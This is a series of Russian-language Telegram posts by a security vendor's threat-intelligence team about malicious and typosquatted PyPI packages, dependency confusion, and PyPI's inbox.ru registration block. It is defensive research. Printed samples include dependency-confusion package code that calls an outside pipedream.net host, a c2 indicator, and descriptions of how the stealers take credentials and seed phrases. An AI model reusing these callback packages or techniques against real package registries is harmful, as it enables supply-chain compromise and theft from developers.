ESCalator
5.43K subscribers
325 photos
1 video
8 files
142 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.

В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.

Тенденция такова, что не проходит и недели без троянов ☕️. При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.

PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:

🤔 Скрины 1, 2. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры мы писали здесь), токен которого вшит в коде. Пакеты имеют название вида raquest, ebell.

🤔 Скрин 3. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида testjsonn1, testjson2, gentorqkkh.

🤔 Скрины 4, 5. Стилер, обходящий диски в поисках файлов .env, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3. Имя разработчика говорит само за себя: shyam_the_hacker.

Уведомили Python Package Index, пакеты выпилены 👋

Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав raquest вместо requests, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки ❤️

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍63
Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱

За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек с ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:


import subprocess
import os
import requests

#I am bughunter
#[email protected]
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")



import requests
#I am bughunter
#[email protected]
print('If you read this message and you are from Yandex write me [email protected]')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")


Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex.

Но странно, что в метаданных PyPI-проекта автор представляется как Thomas Anderson <[email protected]>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru

Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»...

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.

🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.

😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool...

Во всех этих пакетах автором указан Yandex <[email protected]>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:


class InstallCommand(install):
def run(self):
raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")


У нас нет подробностей того, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱

To be continued...

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥13👾5🤯42
Страсти опенсорса: часть вторая

Инфостилеры 🧋

Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev подумал: «А что, если...»

И выпустил пакет pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord (скриншот 1). В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора

1001 мимикрия под requests 😵‍💫

Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания 🐶

Вредоносная нагрузка расположена в __init__.py и представляет собой обфусцированный однострочник (скриншот 2). Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao (скриншот 3), становится понятно, что наш злоумышленник — человек культуры.

Сезон отстуков 🏖

В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения.

На скриншотах 4–7 представлены различные варианты реализации такого функционала: это пакеты artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk.

———

А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеемся, что вам было интересно 👍

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥147💯7👍3👀2
Снова ловим багхантеров 💀

В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.

Сработал алерт на активность, связанную с новыми вредоносными пакетами innostage и innostage_group. История нетипичная: почта у разработчика — [email protected] (о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru (мимикрия под innostage-group.ru) и files.pythonhosted.ru (мимикрия под files.pythonhosted.org).

Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.

🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен files.pythonhosted.org поменял на управляемый атакующим files.pypihosted.org.

Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.

Далее к пакетам innostage и innostage_group прибавились cyberart, ... posi, maxpatrol и ptsecurity 🤨 Занятно. Нагрузка все та же — реверс-шеллы.

Домен inostage.ru уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию 🤬. Что-ж...

———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.

#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁19🔥137👍4💩3👀2
Первые шаги на хакерском поприще 🐱

Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).

Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.

1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:

🟢not-so-evil-package-spaceylad, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.

🟢not-evil-calculator-spaceylad, который непосредственно запустит команду, — скриншот 3.

В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением .css. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe, представляющий собой... calc.exe из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY.

Из занятного — в релизах проектов оставлены папки .idea (папка проекта в IDE PyCharm) и .venv (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 🐈

2️⃣ В июле-августе 2024 года существовал пакет recovery, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo. Имя автора, ExodusChecker, вызывает смутные подозрения, но давайте не будем торопиться.

Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.

Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем hammy, тестирующий на Exodus 24.31.4) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat, сохраняемый в папку автозагрузки, — это отдельный анекдот.

Сам подменяемый app.asar использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock из app/wallet/index.js получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).

Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis 😍

Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂

#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👏97👍3🙈2
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳

Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.

Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.

Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).

Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.

Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.

IoCs:

пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net


#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍108❤‍🔥2
Страсти вокруг PyPI: 🪰🐘?

На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.

В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).


Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.

@banksta
:
Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.


@imaxairu:
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python

Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль

Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются


Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
14👍9🔥6🤝1
Даём оценку официальным заявлениям

CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене inbox.ru.

Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов outlook.com и hotmail.com (принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.

Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.

PyPI приводит статистику:
9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26 9
2025-06-27 295
2025-06-28 39
2025-06-29 119
2025-06-30 740
2025-07-01 249
2025-07-02 46
2025-07-10 16
2025-07-11 12


По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.

Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу [email protected], чтобы обсудить это решение.


Давайте разберемся с кампанией.

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
12👍8🤝7
Характер кампании

Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на @inbox.ru, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на @inbox.ru, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢avoid 🐱
🟢common-io
🟢win32crypt
🟢win32com
🟢pywintypes
🟢jsap
🟢webdav2
🟢arbuzmining 🍉
🟢requirements-cpu-txt
🟢requirements-cuda-txt
🟢dl-pivot-pandas
🟢steambaselib 💀
🟢catboost-spark
🟢numpynumpy
🟢antlr4-runtime
🟢celery-telegram
🟢exllama-kernels
🟢booking-api

Некоторые из названий тагретят разработчиков российских компаний:
🟢youla-spark-session 🐱
🟢ipy-kaspersky 💀
🟢vkads
🟢vkpay
🟢vkplay-sync 😺
🟢vkplay-metrics

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
13👍10🤝6🤯1
Оправдано ли внесение почты @inbox.ru в чёрный список?

В настоящее время при создании почтового ящика на @inbox.ru требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту @inbox.ru, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

Подводя итог

Ограничение создания новых учётных записей с использованием почты на @inbox.ru — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
22👍16🤝10👀1